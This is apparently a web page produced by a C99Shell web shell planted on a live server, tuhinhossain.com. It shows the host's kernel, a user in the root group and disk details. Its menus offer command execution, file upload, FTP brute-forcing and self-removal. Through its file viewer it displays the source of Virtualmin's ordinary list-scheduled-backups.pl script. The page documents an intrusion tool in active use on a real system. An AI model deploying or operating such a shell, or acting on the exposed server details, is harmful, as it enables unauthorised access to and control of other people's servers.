!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/usr/share/webmin/virtual-server/   drwxrwxr-x
Free 28.64 GB of 117.98 GB (24.28%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     list-scheduled-backups.pl (5.34 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl

=head1 list-scheduled-backups.pl

Outputs a list of scheduled backups

By default, this program displays a table of all scheduled backups on
the system. You can limit it to those owned by some virtual server with
the C<--domain> or C<--user> flag, or to a reseller with the C<--reseller>
flag. These must be followed by a domain name, administration username
or reseller login respectively.

To switch to a more detailed and parseable output format, add the 
C<--multiline> flag to the command line. To show only scheduled backup IDs,
use the C<--id-only> flag.

=cut

package virtual_server;
if (!$module_name) {
    $main::no_acl_check++;
    $ENV{'WEBMIN_CONFIG'} ||= "/etc/webmin";
    $ENV{'WEBMIN_VAR'} ||= "/var/webmin";
    if ($0 =~ /^(.*)\/[^\/]+$/) {
        chdir($pwd = $1);
        }
    else {
        chop($pwd = `pwd`);
        }
    $0 = "$pwd/list-scheduled-backups.pl";
    require './virtual-server-lib.pl';
    $< == 0 || die "list-scheduled-backups.pl must be run as root";
    }

# Parse command-line args
while(@ARGV > 0) {
    local $a = shift(@ARGV);
    if ($a eq "--domain") {
        $domain = shift(@ARGV);
        }
    elsif ($a eq "--reseller") {
        $reseller = shift(@ARGV);
        }
    elsif ($a eq "--user") {
        $user = shift(@ARGV);
        }
    elsif ($a eq "--multiline") {
        $multi = 1;
        }
    elsif ($a eq "--id-only") {
        $idonly = 1;
        }
    elsif ($a eq "--help") {
        &usage();
        }
    else {
        &usage("Unknown parameter $a");
        }
    }

# Get them all, then limit by domain
@scheds = &list_scheduled_backups();
if ($domain) {
    # By top-level domain
    $d = &get_domain_by("dom", $domain);
    $d || &usage("No domain named $domain exists");
    $d->{'parent'} && &usage("--domain must be followed by a top-level domain name");
    @scheds = grep { $_->{'owner'} eq $d->{'id'} } @scheds;
    }
elsif ($user) {
    # By domain owner
    $d = &get_domain_by_user($user);
    $d || &usage("No domain owned by $user exists");
    @scheds = grep { $_->{'owner'} eq $d->{'id'} } @scheds;
    }
elsif ($reseller) {
    # By reseller owner
    @scheds = grep { $_->{'owner'} eq $reseller } @scheds;
    }

if ($multi) {
    # Show all details
    %running = map { $_->{'id'}, $_ } &list_running_backups();
    foreach my $s (@scheds) {
        print "$s->{'id'}\n";
        print "    Domains: ",&make_nice_dnames($s),"\n";
        print "    Include sub-servers: ",
            $s->{'parent'} ? "Yes" : "No","\n";
        if ($s->{'virtualmin'}) {
            print "    Virtualmin configs: $s->{'virtualmin'}\n";
            }
        @dests = get_scheduled_backup_dests($s);
        @purges = &get_scheduled_backup_purges($s);
        for(my $i=0; $i<@dests; $i++) {
            print "    Destination: $dests[$i]\n";
            print "    Delete old backups after: ",
                ($purges[$i] ? "$purges[$i] days" : "Never"),"\n";
            }
        if ($s->{'key'} && defined(&get_backup_key)) {
            $key = &get_backup_key($s->{'key'});
            print "    Encryption key: ",
                $key->{'desc'},"\n";
            print "    Encryption key ID: ",
                $key->{'id'},"\n";
            }
        if ($s->{'owner'}) {
            my $o = &get_domain($s->{'owner'});
            print "    Owner: $o->{'dom'}\n";
            }
        print "    Features: ",
            $s->{'feature_all'} ? "All" : $s->{'features'},"\n";
        print "    Format: ",
            ($s->{'fmt'} == 0 ? "Single archive file" :
             $s->{'fmt'} == 1 ? "One file per server (old format)" :
                        "One file per server"),"\n";
        print "    Differential: ",$s->{'increment'} ? "Yes" : "No","\n";
        print "    Enabled: ",$s->{'enabled'} ? "Yes" : "No","\n";
        if ($s->{'special'}) {
            print "    Cron schedule: $s->{'special'}\n";
            }
        elsif ($s->{'mins'}) {
            print "    Cron schedule: ",
                join(" ", $s->{'mins'}, $s->{'hours'},
                      $s->{'days'}, $s->{'months'},
                      $s->{'weekdays'}),"\n";
            }
        if ($s->{'email'}) {
            print "    Send email to: $s->{'email'}\n";
            }
        print "    Send email: ",
            $s->{'email_err'} ? "Only on failure" : "Always","\n";
        print "    Notify domain owners: ",
            $s->{'email_doms'} ? "Yes" : "No","\n";
        $r = $running{$s->{'id'}};
        if ($r) {
            print "    Running: Yes\n";
            print "    Started at: ",&make_date($r->{'started'}),"\n";
            print "    Process ID: ",$r->{'pid'},"\n";
            }
        else {
            print "    Running: No\n";
            }
        }
    }
elsif ($idonly) {
    # Just show IDs
    foreach my $s (@scheds) {
        print $s->{'id'},"\n";
        }
    }
else {
    # Just show one per line
    $fmt = "%-22.22s %-40.40s %-15.15s\n";
    printf $fmt, "Domains", "Destination", "Schedule";
    printf $fmt, ("-" x 22), ("-" x 40), ("-" x 15);
    foreach my $s (@scheds) {
        printf $fmt, &make_nice_dnames($s),
                 &html_tags_to_text(
                &nice_backup_url($s->{'dest'}, 1)),
                 !$s->{'enabled'} ? "Disabled" :
                 $s->{'special'} ? $s->{'special'} :
                join(" ", $s->{'mins'}, $s->{'hours'},
                                          $s->{'days'}, $s->{'months'},
                                          $s->{'weekdays'});
        }
    }

sub usage
{
print "$_[0]\n\n" if ($_[0]);
print "Lists some or all scheduled Virtualmin backups.\n";
print "\n";
print "virtualmin list-scheduled-backups [--domain domain.name |\n";
print "                                   --user name |\n";
print "                                   --reseller name]\n";
print "                                  [--multiline | --id-only]\n";
exit(1);
}

sub make_nice_dnames
{
local ($s) = @_;
local @dnames = ( );
foreach my $did (split(/\s+/, $s->{'doms'})) {
    $d = &get_domain($did);
    push(@dnames, $d->{'dom'}) if ($d);
    }
my $dnames = join(" ", @dnames);
return $s->{'all'} == 1 ? "All" :
       $s->{'all'} == 2 ? "Except ".$dnames :
       $dnames ? $dnames : "None";
}


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0042 ]--